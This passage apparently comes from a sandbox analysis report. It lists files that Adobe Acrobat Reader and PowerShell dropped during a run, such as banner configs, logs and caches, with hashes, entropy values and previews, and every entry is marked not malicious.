SSDEEP:	6:YEQXJ2HXF2Im2RXft0hmSg1c2LjcWkHvR0YG5KoAvJfYdPeUkwRe9:YvXKXF2EPHT5LjIPkGg8Ukee9
MD5:	D1421EEC353DD883C9DC3461FD581256
SHA1:	F7B9FAA43C6363DE4BF925442770B76439AFEB75
SHA-256:	B3BF8375E66CBDF7D26412668C3953A209D3EDD5D229AF992948B87B02E0B633
SHA-512:	E737DBAFBB8DE5C05310432948FFA05137916162EC3EA4F779F8907B7E4E072C769C99498DCD92787D9AA08AE4B13F815617B1E08CC335EAFCEB8B3FBBEA3C20
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"206000eb-4e60-4d6f-a2fc-530284b83be2","sophiaUUID":"8C4093EC-3A2E-41DD-AFC7-28A61CF92EFA"},"encodingScheme":true,"expirationDTS":1736758538971,"statusCode":200,"surfaceID":"DC_Reader_More_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	284
Entropy (8bit):	5.31004783460405
Encrypted:	false
SSDEEP:	6:YEQXJ2HXF2Im2RXft0hmSg1c2LjcWkHvR0YG5KoAvJf+dPeUkwRe9:YvXKXF2EPHT5LjIPkG28Ukee9
MD5:	90537B86BA734ABA7076C8B494B0B09E
SHA1:	A4A9BD9225CE81AB0A5944A4A03F3A8DB8596C37
SHA-256:	AD22008C0043FA23501A6BDA36DA7935E4C422C311C2D9047CFB5F5F2F9D5749
SHA-512:	30EB6504CA3D71F60EF892BAFD92827A34A6DFD11B4E05CA0FE645A6C553F6146E3159835D432133F8582A5168D6E37E835B6B1B0BC4041EF7932FDEF717BEB1
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"206000eb-4e60-4d6f-a2fc-530284b83be2","sophiaUUID":"8C4093EC-3A2E-41DD-AFC7-28A61CF92EFA"},"encodingScheme":true,"expirationDTS":1736758538971,"statusCode":200,"surfaceID":"DC_Reader_RHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Intent_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	291
Entropy (8bit):	5.306399931755113
Encrypted:	false
SSDEEP:	6:YEQXJ2HXF2Im2RXft0hmSg1c2LjcWkHvR0YG5KoAvJfbPtdPeUkwRe9:YvXKXF2EPHT5LjIPkGDV8Ukee9
MD5:	99B95B920003C8CE750EC16FDA4C64DB
SHA1:	4D660D73D9BB9C11F00F3CFF9A346BD173E31C91
SHA-256:	CCBD8D008C4B031003FCE057D83586810B2B67F741256A02B96E503CED16D780
SHA-512:	B66A00DC873B68418BFA09E2B608F6CA7FDCFBD1B1F4B5E9AF18DBE6D31A00F73610A653E3F9B1B8545FDE16C685ABD9A1E4ADC59F13569E4BADC342FA7038C6
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"206000eb-4e60-4d6f-a2fc-530284b83be2","sophiaUUID":"8C4093EC-3A2E-41DD-AFC7-28A61CF92EFA"},"encodingScheme":true,"expirationDTS":1736758538971,"statusCode":200,"surfaceID":"DC_Reader_RHP_Intent_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Retention

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	287
Entropy (8bit):	5.298478365668357
Encrypted:	false
SSDEEP:	6:YEQXJ2HXF2Im2RXft0hmSg1c2LjcWkHvR0YG5KoAvJf21rPeUkwRe9:YvXKXF2EPHT5LjIPkG+16Ukee9
MD5:	BA19F74361BB64E0E6AD63506421FC77
SHA1:	BA67CB3436CBC4FEB0DF68A0BF03CD3C547DCE31
SHA-256:	224BE6F728CAF84199AFD2931E310E5AAA11491C62AD7EBF3546F9E76829DB34
SHA-512:	0D288953E8026FBC951CE05F5746C50055556D3DD4FE57A11A828C08DA8D3D6E926FA8707256381C6F2C901F988B523CE63F4EB684CFB6EBD90FB19EE9F397E1
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"206000eb-4e60-4d6f-a2fc-530284b83be2","sophiaUUID":"8C4093EC-3A2E-41DD-AFC7-28A61CF92EFA"},"encodingScheme":true,"expirationDTS":1736758538971,"statusCode":200,"surfaceID":"DC_Reader_RHP_Retention","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Sign_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1090
Entropy (8bit):	5.670445379426614
Encrypted:	false
SSDEEP:	24:Yv6XoEPHT5XIZamXayLgE+cNDxeNaqnAvz7xHn0RCmK8czOC/BSUY:Yv2lXWBgkDMUJUAh8cvMUY
MD5:	06F887A8658CDF350F70BB0D11A09A86
SHA1:	1F225F6B061264D6533B49AAC38C7FD27E4415FE
SHA-256:	F487569CA80D49F2BCE40AC5D60CC59D28F0B28FE45B4607BC6593AAA642FEED
SHA-512:	2BAFC992BD369E06BAB03180B1744D8AD4E9C23C908C74EEE4C275D4E1D35FC26A66CDF5D9D4A63DCFA9B5E23E96BABBC7D45487871BA2E2558331F7B3CDF8C1
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"206000eb-4e60-4d6f-a2fc-530284b83be2","sophiaUUID":"8C4093EC-3A2E-41DD-AFC7-28A61CF92EFA"},"encodingScheme":true,"expirationDTS":1736758538971,"statusCode":200,"surfaceID":"DC_Reader_Sign_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{"surfaceId":"DC_Reader_Sign_LHP_Banner"},"containerMap":{"1":{"containerAnalyticsData":{"actionBlockId":"93365_289436ActionBlock_0","campaignId":93365,"containerId":"1","controlGroupId":"","treatmentId":"266234d2-130d-426e-8466-c7a061db101f","variationId":"289436"},"containerId":1,"containerLabel":"JSON for DC_Reader_Sign_LHP_Banner","content":{"data":"eyJjdGEiOnsidGV4dCI6IkZyZWUgdHJpYWwiLCJjbGljayI6Im9wZW5Ub29sIiwidG9vbF9pZCI6IlVwZ3JhZGVSSFBSZHJBcHAifSwidWkiOnsidGl0bGVfc3R5bGluZyI6eyJmb250X3NpemUiOiIxNHB4IiwiZm9udF9zdHlsZSI6IjAifSwiZGVzY3JpcHRpb25fc3R5bGluZyI6eyJmb250X3NpemUiOiIxMnB4IiwiZm9udF9zdHlsZSI6Ii0xIn0sInRpdGxlIjpudWxsLCJkZXNjcmlwdGlvbiI6IkVhc2lseSBmaWxsIGFuZCBzaWduIFBERnMuIn0sInRjYXRJZCI6bnVsbH0=","dataType":"app

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Upsell_Cards

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	286
Entropy (8bit):	5.2739068554786614
Encrypted:	false
SSDEEP:	6:YEQXJ2HXF2Im2RXft0hmSg1c2LjcWkHvR0YG5KoAvJfshHHrPeUkwRe9:YvXKXF2EPHT5LjIPkGUUUkee9
MD5:	2AF528ECBD497C72C38AD6E41CD6077D
SHA1:	9D176A2CF7A7CDF57EE6568711C9AAE3CCAA6FD3
SHA-256:	30F357C5C159AB59019774C67EDFE4844F28AB550AF3D4C68711F187B64F76A0
SHA-512:	5A55B7AEB4839395EF09122A8275343E731A539B2C938CE477AD514319DCA98809E83266B9FBEF472068FBDA064F84EB1046C00149E94C6CA5D6264F562241F3
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"206000eb-4e60-4d6f-a2fc-530284b83be2","sophiaUUID":"8C4093EC-3A2E-41DD-AFC7-28A61CF92EFA"},"encodingScheme":true,"expirationDTS":1736758538971,"statusCode":200,"surfaceID":"DC_Reader_Upsell_Cards","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\Edit_InApp_Aug2020

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	282
Entropy (8bit):	5.273188006774792
Encrypted:	false
SSDEEP:	6:YEQXJ2HXF2Im2RXft0hmSg1c2LjcWkHvR0YG5KoAvJTqgFCrPeUkwRe9:YvXKXF2EPHT5LjIPkGTq16Ukee9
MD5:	6511B127115788378657759A509ACA73
SHA1:	EE4F668992BF17DBA057B72900D892ACE90A4A0A
SHA-256:	1536CD1228062AE8D431F07EA6F63C74004DF7D3993C7B1C0EEB4939E3DC5D97
SHA-512:	9F2F75098EA5B2BC690CFCCD4B10C9325ECDC7654B950FD2C6918149FF0A7841D0EF0E36847E14724D2AC3C702B6AC13738D1935D7A4417D6040C53783A38215
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"206000eb-4e60-4d6f-a2fc-530284b83be2","sophiaUUID":"8C4093EC-3A2E-41DD-AFC7-28A61CF92EFA"},"encodingScheme":true,"expirationDTS":1736758538971,"statusCode":200,"surfaceID":"Edit_InApp_Aug2020","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\TESTING

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	4
Entropy (8bit):	0.8112781244591328
Encrypted:	false
SSDEEP:	3:e:e
MD5:	DC84B0D741E5BEAE8070013ADDCC8C28
SHA1:	802F4A6A20CBF157AAF6C4E07E4301578D5936A2
SHA-256:	81FF65EFC4487853BDB4625559E69AB44F19E0F5EFBD6D5B2AF5E3AB267C8E06
SHA-512:	65D5F2A173A43ED2089E3934EB48EA02DD9CCE160D539A47D33A616F29554DBD7AF5D62672DA1637E0466333A78AAA023CBD95846A50AC994947DC888AB6AB71
Malicious:	false
Preview:	....

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\SOPHIA.json

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2814
Entropy (8bit):	5.144117253681536
Encrypted:	false
SSDEEP:	24:YCi2aEN11ayI3MyceN+6nqLbEhHdIejUuBsj0SXvXyb2yYNZ2LSJCBw4k1BEvk5F:YCx283v6n0GtUO+rohWX14knEc899Ap
MD5:	C35B40FD7224F7AFDE470A2F58A4B13B
SHA1:	E14B1055137A67FE7796A7A2D7529FAFFD73AEA9
SHA-256:	4A957BD7E46FDAB96AE0F87801598D8B0FD671256E2E99E32F3D8D04F2756CC0
SHA-512:	8A7949183FE2C8EFEAB4F577634293A9752F764D8D29377D7EB61F9837C909AD2E0A3AEB8A24D8F8005976B57C829C7432A5940C20D529DDC9ACB343C5D21B90
Malicious:	false
Preview:	{"all":[{"id":"DC_Reader_Disc_LHP_Banner","info":{"dg":"8b7c0403a5c9498cfa80fbee53245648","sid":"DC_Reader_Disc_LHP_Banner"},"mimeType":"file","size":289,"ts":1736584043000},{"id":"DC_Reader_Sign_LHP_Banner","info":{"dg":"761b72f12d8629f87e9636d7d17df4d3","sid":"DC_Reader_Sign_LHP_Banner"},"mimeType":"file","size":1090,"ts":1736584043000},{"id":"DC_Reader_Convert_LHP_Banner","info":{"dg":"4493ecdc5686f596e68cac07d9ced592","sid":"DC_Reader_Convert_LHP_Banner"},"mimeType":"file","size":1123,"ts":1736584043000},{"id":"DC_Reader_Home_LHP_Trial_Banner","info":{"dg":"fcef473bc9d35a0801a9fc5c784f790f","sid":"DC_Reader_Home_LHP_Trial_Banner"},"mimeType":"file","size":295,"ts":1736584043000},{"id":"DC_Reader_Disc_LHP_Retention","info":{"dg":"7d01368bef50bb3085bf6aa0b192fd4e","sid":"DC_Reader_Disc_LHP_Retention"},"mimeType":"file","size":292,"ts":1736584043000},{"id":"DC_Reader_More_LHP_Banner","info":{"dg":"0fbb98f36d5a4d1a9d4664d68117b6aa","sid":"DC_Reader_More_LHP_Banner"},"mimeType":"file","

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite 3.x database, last written using SQLite version 3040000, file counter 26, database pages 3, cookie 0x2, schema 4, UTF-8, version-valid-for 26
Category:	dropped
Size (bytes):	12288
Entropy (8bit):	1.365421519241349
Encrypted:	false
SSDEEP:	24:TLBx/XYKQvGJF7urs9S6bqyKn6ylSTofcNqDurC1XKdqEKfS8EKfM1bazC1F:Tll2GL7msMcKTlS8fcsuZfIa
MD5:	A62208E0A5F712381165CE1B6754CB87
SHA1:	9D770D4CB538C68B307754275DD774A8D3FE042B
SHA-256:	A1E31FEB9E34C31DE5A8047F2CEA7CBFF86FE8E4E2EC67F482529C8565846CD5
SHA-512:	89CE805776A3FABF0833392E8C0EB4D626FD88CC75B842CEC2EB0155A1777E09BFDEB59DCC6505B90CEF3CF42639850A0DE92CD3A2933DC53E4F72E4482B2D97
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................c.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents-journal

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite Rollback Journal
Category:	dropped
Size (bytes):	8720
Entropy (8bit):	1.8431343322064022
Encrypted:	false
SSDEEP:	24:7+tcZ6bqyKn6ylSTofcNqDurC1+KdqEKfS8EKfM1banbqVqLKufx/XYKQvGJF7uu:7MKcKTlS8fcsuYfIwqGufl2GL7ms/
MD5:	62E7DBD2CB4C4A0109C54C18A78DADC4
SHA1:	3E1ADB5CC3D96347691558ED41D8A6D1D9BF1378
SHA-256:	E73A3D0BC87790B458C05C00EFF4BEFA9C6738C01D1C74EA9EABC396803E923E
SHA-512:	3F3E19CC1C73DC0692A2D61C9CD5F5E0EB3E5FCD0B551459EC57E8840F9827EC50D437857E673CC104EF39AABC6CDF8D902FD4F9ADF2FF7A21D032E4CD209D66
Malicious:	false
Preview:	.... .c......X............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................^..^.^.^.^.^.^.^.-.-.-.-.-.-.-.-.-.-.-........................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\UserCache64.bin

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	66726
Entropy (8bit):	5.392739213842091
Encrypted:	false
SSDEEP:	768:RNOpblrU6TBH44ADKZEgNdf77YJik+kNDOnwVPkb3jwptOYyu:6a6TZ44ADENh7vkl0wxkT+tOK
MD5:	BE2ABA6C9FCBCE505CB981D45DEAB1CE
SHA1:	728487408E9D2C76EB43F25160E06EE36782E922
SHA-256:	A29823E7DFC03B68E66F7D6024EC13C40D474F01B13ECEDD6D41D8C3884BA272
SHA-512:	555A0C2351DD1D389D1FCB478D13361B4C41BB44CB7F1B0F66405EB067AF800744170846137A591CA42A04A2682A41ECBD5AF4E1C0E6069F313FDB8AC4B11ED7
Malicious:	false
Preview:	4.397.90.FID.2:o:..........:F:AgencyFB-Reg.P:Agency FB.L:$.........................."F:Agency FB.#.96.FID.2:o:..........:F:AgencyFB-Bold.P:Agency FB Bold.L:%.........................."F:Agency FB.#.84.FID.2:o:..........:F:Algerian.P:Algerian.L:$..........................RF:Algerian.#.95.FID.2:o:..........:F:ArialNarrow.P:Arial Narrow.L:$.........................."F:Arial Narrow.#.109.FID.2:o:..........:F:ArialNarrow-Italic.P:Arial Narrow Italic.L:$.........................."F:Arial Narrow.#.105.FID.2:o:..........:F:ArialNarrow-Bold.P:Arial Narrow Bold.L:%.........................."F:Arial Narrow.#.118.FID.2:o:..........:F:ArialNarrow-BoldItalic.P:Arial Narrow Bold Italic.L:%.........................."F:Arial Narrow.#.77.FID.2:o:..........:F:ArialMT.P:Arial.L:$.........................."F:Arial.#.91.FID.2:o:..........:F:Arial-ItalicMT.P:Arial Italic.L:$.........................."F:Arial.#.87.FID.2:o:..........:F:Arial-BoldMT.P:Arial Bold.L:$.........................."F:Arial.#.100.FID.2

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	64
Entropy (8bit):	1.1940658735648508
Encrypted:	false
SSDEEP:	3:NlllulxmH/lZ:NllUg
MD5:	D904BDD752B6F23D81E93ECA3BD8E0F3
SHA1:	026D8B0D0F79861746760B0431AD46BAD2A01676
SHA-256:	B393D3CEC8368794972E4ADD978B455A2F5BD37E3A116264DBED14DC8C67D6F2
SHA-512:	5B862B7F0BCCEF48E6A5A270C3F6271D7A5002465EAF347C6A266365F1B2CD3D88144C043D826D3456AA43484124D619BF16F9AEAB1F706463F553EE24CB5740
Malicious:	false
Preview:	@...e................................. ..............@..........

C:\Users\user\AppData\Local\Temp\MSI87fb1.LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	246
Entropy (8bit):	3.493870954423123
Encrypted:	false
SSDEEP:	6:Qgl946caEbiQLxuZUQu+lEbYnuoblv2K88Cl+uNH:Qw946cPbiOxDlbYnuRKdhuNH
MD5:	07BAE0B1CC168BE9B1E87CD3101B7461
SHA1:	8344473767D1A94417E98601ED685259DD807D54
SHA-256:	A51343F4354A1B77909B728CC2498DC877F453A7E2ED305023FAA6D4CB018FFE
SHA-512:	045579B7EC72FF5C4CF0B53A5B8AE78AB5B6A5DC2138741C40E0E30CF7ED78847025AE36E473F4A1AADEF2E787D75CA7326A90C26845923195BE68CE9AAB782E
Malicious:	false
Preview:	..E.r.r.o.r. .2.7.1.1...T.h.e. .s.p.e.c.i.f.i.e.d. .F.e.a.t.u.r.e. .n.a.m.e. .(.'.A.R.M.'.). .n.o.t. .f.o.u.n.d. .i.n. .F.e.a.t.u.r.e. .t.a.b.l.e.......=.=.=. .L.o.g.g.i.n.g. .s.t.o.p.p.e.d.:. .1.1./.0.1./.2.0.2.5. . .0.3.:.2.7.:.2.2. .=.=.=.....

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_tqetjqab.a52.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_v5sh5udr.cte.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\acrobat_sbx\NGL\NGLClient_AcrobatReader123.6.20320.6 2025-01-11 03-27-17-169.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with very long lines (393)
Category:	dropped
Size (bytes):	16525
Entropy (8bit):	5.330589339471305
Encrypted:	false
SSDEEP:	384:usQfQQjZyDzISMjg0svDBjA49Y0/sQHpMVhrSWD0Wny6WxIWd44mJmtaEKHvMMwh:Ink
MD5:	5BC0A308794F062FEC40F3016568DF9F
SHA1:	14149448191AB45E99011CBBEF39F2A9A03A0D15
SHA-256:	00D910C49F2885F6810F4019A916EFA52F12881CBF1525853D0C184E1B796473
SHA-512:	CF12E0787C1C2A129BE61C4572CF8A28FC48039B2ADFD1816E58078D8DD900771442F210C545AD9B3F4EAEC23F6F1480F7BBF262B6A631160B20D0785BC17242
Malicious:	false
Preview:	SessionID=eddad23d-dbc6-40b3-ba9e-21a55d862f0a.1696497318171 Timestamp=2023-10-05T10:15:18:171+0100 ThreadID=7060 Component=ngl-lib_NglAppLib Description="-------- Initializing session logs --------".SessionID=eddad23d-dbc6-40b3-ba9e-21a55d862f0a.1696497318171 Timestamp=2023-10-05T10:15:18:172+0100 ThreadID=7060 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: No operating configs found".SessionID=eddad23d-dbc6-40b3-ba9e-21a55d862f0a.1696497318171 Timestamp=2023-10-05T10:15:18:172+0100 ThreadID=7060 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: Fallback to NAMED_USER_ONLINE!!".SessionID=eddad23d-dbc6-40b3-ba9e-21a55d862f0a.1696497318171 Timestamp=2023-10-05T10:15:18:172+0100 ThreadID=7060 Component=ngl-lib_NglAppLib Description="SetConfig: OS Name=WINDOWS_64, OS Version=10.0.19045.1".SessionID=eddad23d-dbc6-40b3-ba9e-21a55d862f0a.1696497318171 Timestamp=2023-10-05T10:15:18:172+0100 ThreadID=7060 Component=ngl-lib_NglAppLib Description="SetConfig:

C:\Users\user\AppData\Local\Temp\acrobat_sbx\NGL\NGLClient_AcrobatReader123.6.20320.6.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with very long lines (393), with CRLF line terminators
Category:	dropped
Size (bytes):	15114
Entropy (8bit):	5.360153072730198
Encrypted:	false
SSDEEP:	384:kxtN8sZAHFKy71XT2qN/8mbGGtvYqfr2gvn7pNpLKn15by8lF6B4vwvjqgKLQhxK:R/w
MD5:	4F7672F66892F7AEAC0A55DFE2128EE1
SHA1:	5F11267249799765BD7468F425A36A70540B660C
SHA-256:	89B37027ECC4CCB465B80EF5E94B51286AD62B86B43238A308A994C38E7837B7
SHA-512:	8E96C70E31CFDF575A4557938FDE6B4A8A59CA6376F0BB795C71EBF4BFF664B8DEAD1620D64CE321EEFAE3993201D41C90754C80327EF47126A3E765A11BD539
Malicious:	false
Preview:	SessionID=749f2d69-378c-4e01-a47c-139e703bf6c0.1736584037185 Timestamp=2025-01-11T03:27:17:185-0500 ThreadID=7644 Component=ngl-lib_NglAppLib Description="-------- Initializing session logs --------"..SessionID=749f2d69-378c-4e01-a47c-139e703bf6c0.1736584037185 Timestamp=2025-01-11T03:27:17:186-0500 ThreadID=7644 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: No operating configs found"..SessionID=749f2d69-378c-4e01-a47c-139e703bf6c0.1736584037185 Timestamp=2025-01-11T03:27:17:186-0500 ThreadID=7644 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: Fallback to NAMED_USER_ONLINE!!"..SessionID=749f2d69-378c-4e01-a47c-139e703bf6c0.1736584037185 Timestamp=2025-01-11T03:27:17:187-0500 ThreadID=7644 Component=ngl-lib_NglAppLib Description="SetConfig: OS Name=WINDOWS_64, OS Version=10.0.19045.1"..SessionID=749f2d69-378c-4e01-a47c-139e703bf6c0.1736584037185 Timestamp=2025-01-11T03:27:17:187-0500 ThreadID=7644 Component=ngl-lib_NglAppLib Description="SetConf

C:\Users\user\AppData\Local\Temp\acrobat_sbx\acroNGLLog.txt

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	29752
Entropy (8bit):	5.382261565161725
Encrypted:	false
SSDEEP:	192:icbENIn5cbqlcbgIpLcbJcb4I5jcbKcbQIrxcbmWcbpwIDAapcbd:8qnXopZ50rZtDAaq
MD5:	84D4B14E7F694AC3EF76DE968FEC1347
SHA1:	09A67E8DAB91190234297DEC89D110C83E251D8D
SHA-256:	7CB9334783E5DEAA248BE28E9A47F2B2161FF94930515FED74CA3CE8B7921CBA
SHA-512:	753BA0F053719BBD8BF8D5B5431CF998B6E6E2E1B37BEDE63A8E1E598B148042B9735DC7185DBFE8A257577BC91C6562C056E70E7BF7E811B602FC29E8695B6F
Malicious:	false
Preview:	05-10-2023 10:01:02:.---2---..05-10-2023 10:01:02:.AcroNGL Integ ADC-4240758 : *************************************..05-10-2023 10:01:02:.AcroNGL Integ ADC-4240758 : ***********************************..05-10-2023 10:01:02:.AcroNGL Integ ADC-4240758 : **** Starting new session ******..05-10-2023 10:01:02:.AcroNGL Integ ADC-4240758 : Starting NGL..05-10-2023 10:01:02:.AcroNGL Integ ADC-4240758 : Setting synchronous launch...05-10-2023 10:01:02:.AcroNGL Integ ADC-4240758 ::::: Configuring as AcrobatReader1..05-10-2023 10:01:02:.AcroNGL Integ ADC-4240758 : NGLAppVersion 23.6.20320.6..05-10-2023 10:01:02:.AcroNGL Integ ADC-4240758 : NGLAppMode NGL_INIT..05-10-2023 10:01:02:.AcroNGL Integ ADC-4240758 : AcroCEFPath, NGLCEFWorkflowModulePath - C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1 C:\Program Files\Adobe\Acrobat DC\Acrobat\NGL\cefWorkflow..05-10-2023 10:01:02:.AcroNGL Integ ADC-4240758 : isNGLExternalBrowserDisabled - No..05-10-2023 10:01:02:.Closing File..05-10-

C:\Users\user\AppData\Local\Temp\acrocef_low\9b4aa37d-f552-4171-bbc6-4d51dcbb6fae.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 299538
Category:	dropped
Size (bytes):	758601
Entropy (8bit):	7.98639316555857
Encrypted:	false
SSDEEP:	12288:ONh3P65+Tegs6121YSWBlkipdjuv1ybxrr/IxkB1mabFhOXZ/fEa+vTJJJJv+9U0:O3Pjegf121YS8lkipdjMMNB1DofjgJJg
MD5:	3A49135134665364308390AC398006F1
SHA1:	28EF4CE5690BF8A9E048AF7D30688120DAC6F126
SHA-256:	D1858851B2DC86BA23C0710FE8526292F0F69E100CEBFA7F260890BD41F5F42B
SHA-512:	BE2C3C39CA57425B28DC36E669DA33B5FF6C7184509756B62832B5E2BFBCE46C9E62EAA88274187F7EE45474DCA98CD8084257EA2EBE6AB36932E28B857743E5
Malicious:	false
Preview:	...........kWT..0...W`.........b..@..nn........5.._..I.R3I..9g.x....s.\+.J......F...P......V]u......t....jK...C.fD..]..K....;......y._.U..}......S.........7...Q.............W.D..S.....y......%..=.....e..^.RG......L..].T.9.y.zqm.Q]..y..(......Q]..~~..}..q...@.T..xI.B.L.a.6...{..W..}.mK?u...5.#.{...n...........z....m^.6!.`.....u...eFa........N....o..hA-..s.N..B.q..{..z.{=..va4_`5Z........3.uG.n...+...t...z.M."2..x.-...DF..VtK.....o]b.Fp.>........c....,..t..an[............5.1.(}..q.q......K3.....[>..;e..f.Y.........mV.cL...]eF..7.e.<.._.o\.S..Z...`..}......>@......\|.......ox.........h.......o....-Yj=.s.g.Cc\.i..\..A.B>.X..8`...P......[..O...-.g...r..u\...k..7..#E....N}...8.....(..0....w....j.......>.L....H.....y.x3...[>..t......0..z.qw..]X..i8..w.b..?0.wp..XH.A.[.....S..g.g..I.A.15.0?._n.Q.]..r8.....l..18...(.].m...!\|G.1...... .3.`./....`~......G.............\|..pS.e.C....:o.u_..oi.:..\|....joi...eM.m.K...2%...Z..j...VUh..9.}.....

C:\Users\user\AppData\Local\Temp\acrocef_low\c7b62e3d-be24-41dd-898c-b5995d0beb9a.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 5111142
Category:	dropped
Size (bytes):	1419751
Entropy (8bit):	7.976496077007677
Encrypted:	false
SSDEEP:	24576:/rwYIGNP4mOWL07oBGZ1dpy6mlind9j2kvhsfFXpAXDgrFBU2/R07D:TwZG6bWLxBGZN3mlind9i4ufFXpAXkru
MD5:	95F182500FC92778102336D2D5AADCC8
SHA1:	BEC510B6B3D595833AF46B04C5843B95D2A0A6C9
